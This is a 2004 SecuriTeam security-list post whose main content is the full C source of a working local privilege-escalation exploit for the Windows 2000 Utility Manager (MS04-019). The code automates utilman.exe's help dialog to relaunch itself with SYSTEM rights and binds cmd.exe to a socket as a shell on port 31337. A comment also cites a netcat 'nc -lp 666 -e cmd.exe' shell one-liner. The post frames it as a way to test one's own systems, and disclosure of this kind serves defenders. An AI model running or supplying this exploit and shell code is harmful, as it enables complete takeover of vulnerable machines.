[EXPL] Utility Manager Exploit Code (MS04-019)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/20/04

  • Next message: SecuriTeam: "[EXPL] Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)" 
    To: list@securiteam.com
Date: 20 Jul 2004 10:06:47 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Utility Manager Exploit Code (MS04-019)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article,
    <http://www.securiteam.com/windowsntfocus/5GP0J0UDFA.html> Microsoft
    Window Utility Manager Local Elevation of Privileges (MS04-019),a local
    elevation of privileges exists in the Windows Utility Manager which allows
    any user to take complete control over the operating system. This
    vulnerability affects the Windows 2000 operating system family.

    The following exploit can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Exploit:
    /*****************************************************************************************
     
    *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
     ** [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt] **
     * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    * * * * * * * *
     ** It gets system language and sets windows names to work on any win2k :P
    **
     ** Feel free to add other languages :) **
     ** v2.666: added autonomous (allinone) remote exploitation system ;) **
     ** It can be executed through poor cmd.exe shells (like nc -lp 666 -e
    cmd.exe from a **
     ** normal user account). Must be called with an argument (any argument)
    **
     ** You know where we are.. **
     
    *****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
     
    *****************************************************************************************/
    /* original disclaimer */
    //by Cesar Cerrudo sqlsec>at<yahoo.com
    //Local elevation of priviliges exploit for Windows 2K Utility Manager
    (second one!!!!)
    //Gives you a shell with system privileges
    //If you have problems try changing Sleep() values.
    /* end of original disclaimer */

    #include <stdio.h>
    #include <winsock2.h>
    #include <windows.h>
    #include <conio.h>
    #include <io.h>

    #pragma comment (lib,"ws2_32")

    #define EXIT_SHELL "exit -shell"
    #define HOST "localhost"
    #define PORT 31337

    struct {
     int id;
     char *utilman;
     char *winhelp;
     char *open;
    } lang[] = {
     { 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /*
    French */
     { 0x09,"Utility manager","Windows Help","Open" } /* English */
    };

    void print_lang(int id)
    {
     char *lang_list[] =
    {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
            "Danish","German","Greek","English","Spanish","Finnish",
            "French","Hebrew","Hungarian","Icelandic","italian",
            "Japanese","Korean","Dutch","Norwegian","Polish",
            "Portuguese","Romanian","Russian","Croatian","Serbian",
            "Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
            "Indonesian","Ukrainian","Belarusian","Slovenian",
            "Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
            "Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
            "Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
            "Swahili","Uzbek","Tatar","Not supported","Punjabi",
            "Gujarati","Not supported","Tamil","Telugu","Kannada",
            "Not supported","Not supported","Marathi","Sanskrit",
            "Mongolian","Galician the best ;)","Konkani","Not supported",
            "Not supported","Syriac","Not supported","Not supported",
            "Divehi","Invariant"};
     printf("%s\r\n",lang_list[id]);
     return;
    }

    int cnx(char *host, int port)
    {
     SOCKET sock;
     struct sockaddr_in yeah;
     struct hostent *she;
     PROCESS_INFORMATION ProcessInformation;
     STARTUPINFO si;

     printf("[i] should be called by myself, try with any argument to load the
    attack\r\n");
     fflush(stdout);
     sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00);
     if(!sock) {
      printf("error: unable to create socket\r\n");
      return -1;
      }

     yeah.sin_family=AF_INET;
     yeah.sin_addr.s_addr=inet_addr(host);
     yeah.sin_port=htons((u_short)port);

    if((she=gethostbyname(host))!=NULL) {
     memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
     } else {
     if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
      printf("error: cannot resolve host\r\n");
      return -1;
      }
     }
     if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
      printf("error: connection refused\r\n");
      return -1;
      }

     si.cb = 0x44;
     si.lpReserved = 0x00;
     si.lpTitle = 0x00;
     si.lpDesktop = 0x00;
     si.dwX = 0x00;
     si.dwY = 0x00;
     si.dwXSize = 0x00;
     si.dwYSize = 0x00;
     si.wShowWindow = 0x00;
     si.lpReserved2 = 0x00;
     si.cbReserved2 = 0x00;

     si.dwFlags = 0x101;

     si.hStdInput = (void *)sock;
     si.hStdOutput = (void *)sock;
     si.hStdError = (void *)sock;

     if(!CreateProcess(0x00, "cmd", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,&si,
    &ProcessInformation)) {
      printf("CreateProcess() error\r\n");
      return -1;
     }
     return 0;
    }

    void cmdshell(int sock)
    {
     int length=666;
     char buffer[1024];

    while(length) {
      length=read(0,buffer,sizeof(buffer));
      buffer[length]=0;
      if(!strncmp(buffer,EXIT_SHELL,strlen(EXIT_SHELL))) {
       send(sock,"exit\r\n",6,0);
       break;
       }
      length=send(sock,buffer,length,0);
      if (length<=0) {
       printf("[i] Connection closed.\n");
       exit(0);
      }
     }
     printf("[i] Connection successfully exited.\r\n");
     exit(0);
    }

    void wait_cnx(int port) {
     int sock, s,t;
     struct sockaddr_in my_addr;
     struct sockaddr_in their_addr;
        int sin_size;
     char buffer[4095];

    if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) {
     printf("error: unable to create socket\r\n");
     exit(1);
     }
     my_addr.sin_family=AF_INET;
     my_addr.sin_port=htons((u_short)port);
     my_addr.sin_addr.s_addr=INADDR_ANY;
    if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) {
     printf("error: unable to bind socket on port %d\r\n",port);
     exit(1);
     }
    if(listen(sock, 3)==-1) {
     printf("error: unable to listen\r\n");
     exit(1);
     }
     sin_size=sizeof(struct sockaddr_in);
     printf("[i] waiting connection on port %d\r\n",port);

    if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) {
     printf("error: unable to accept connection\r\n");
     exit(1);
     }
     memset(buffer,0,sizeof(buffer));
     printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr));
     printf("[h] type 'exit -shell' to leave the shell\r\n\r\n");
     fflush(stdout);
     CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t);
     while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) {
      buffer[sin_size]=0x00;
      printf("%s",buffer);
      fflush(stdout);
      }
     printf("\r\n[i] shell lost\r\n");
     return;
    }

    int set_lang(void)
    {
     unsigned int lang_usr,lang_sys,id;

     id=GetSystemDefaultLangID();
     lang_sys=PRIMARYLANGID(id);
     id=GetUserDefaultLangID();
     lang_usr=PRIMARYLANGID(id);
     if(lang_usr!=lang_sys) {
      printf("warning: user language differs from system language\r\n\r\n");
      printf("1. system : ");print_lang(lang_sys);
      printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
      fflush(stdout);
      id=getch();
     if(id!=49&&id!=50) {
      printf("wrong choice '%c', leaving.\r\n",id);
      exit(0);
      }
     if(id==49) {
      printf("system language\r\n");
      return lang_sys;
      }
     else
      printf("user language\r\n");
     }
     return lang_usr;
    }

    void banner()
    {
     printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by
    kralor [Crpt]\r\n");
     printf("\t\t\t base code by Cesar Cerrudo\r\n");
     printf("\t added autonomous (allinone) remote exploitation system\r\n");
     printf("\t\t\t You know where we are...\r\n\r\n");
     fflush(stdout);
     return;
    }

    void give_magicshell(void)
    {
     cnx(HOST,PORT);
     exit(0);
     return;
    }

    void enter_filename(HWND hwnd,char *filename,int size)
    {
     unsigned int i;

     for(i=0;i<(unsigned int)size;i++)
      SendMessage(hwnd, WM_IME_KEYDOWN, toupper(filename[i]), 0);
     return;
    }

    int main(int argc, char* argv[])
    {
        HWND lHandle, lHandle2;
        POINT point;
        char cmd[512];
     unsigned int i,j,t;
     int lang_id,path_len=1024;
     char *path;
     WSADATA wsa;
     HANDLE hdlr;

     banner();
     if(WSAStartup(0x101,&wsa)) {
      printf("error: unable to load winsock\r\n");
      return -1;
     }
    if(argc==1)
     give_magicshell();

     hdlr=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)\
       wait_cnx,(void*)PORT,0,&t);
     Sleep(1000);

     printf("[+] Gathering system language information\r\n");
     lang_id=set_lang();
     printf("[+] OK language ...");print_lang(lang_id);
     fflush(stdout);
     for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
      if(lang[i].id==lang_id)
       break;
     if(i==sizeof(lang)/sizeof(lang[0])) {
      printf("error: undefined language.\r\n");
      return -1;
     }
     printf("[+] Trying to execute program with SYSTEM priviliges through
    utilman.exe\r\n");
     memset(cmd,0,sizeof(cmd));
     for(j=strlen(argv[0]);j>0;j--)
      if(argv[0][j]=='\\') {
       j++;break;
      }
     strncpy(cmd,&argv[0][j],508);
     if(cmd[strlen(cmd)-4]!='.')
      strcat(cmd,".exe");

     printf("prog: %s\r\n",cmd);
     cmd[strlen(cmd)-1]='?';
     fflush(stdout);
    // run utility manager
     WinExec("utilman.exe /start",SW_HIDE);
     Sleep(1000);

     lHandle=FindWindow(NULL, lang[i].utilman);
        if (!lHandle) {
      printf("error: unable to start utilman.exe.\r\n");
      return 0;
     }

        PostMessage(lHandle,0x313,0,0); //=right click on the app button in
    the taskbar or Alt+Space Bar
     Sleep(100);

     SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam
    must be<>NULL
     Sleep(300);
            
     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN,
    VK_RETURN, 0);
     Sleep(500);

            // find open file dialog window
     lHandle = FindWindow("#32770",lang[i].open);
        // get input box handle
        lHandle2 = GetDlgItem(lHandle, 0x47C);
        Sleep(500);

     path=(char*)malloc(path_len);
     GetCurrentDirectory(path_len,path);
     printf("path: %s\r\n",path);
        SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)path);
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
     free(path);
     fflush(stdout);

        // set text to filter listview to display only cmd.exe
        SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
        Sleep(800);

        // send return
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

        //get navigation bar handle
        lHandle2 = GetDlgItem(lHandle, 0x4A0);
        
        //send tab
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
        Sleep(500);
        lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
        //get list view handle
        lHandle2 = GetDlgItem(lHandle2, 0x1);

     enter_filename(lHandle2,cmd,strlen(cmd)-4);
        Sleep(500);

        //popup context menu
        PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
        Sleep(1000);

        // get context menu handle
        point.x =10; point.y =30;
        lHandle2=WindowFromPoint(point);

        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

        SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
        Sleep(500);

     SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close
    open error window
     SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close
    utilitymanager
     WaitForSingleObject(hdlr,INFINITE);
     WSACleanup();
     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:kralor@coromputer.net> Ivan
    Rodriguez Almuina.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Apache HTTPd Arbitrary Long HTTP Headers DoS (Exploit)"

    Relevant Pages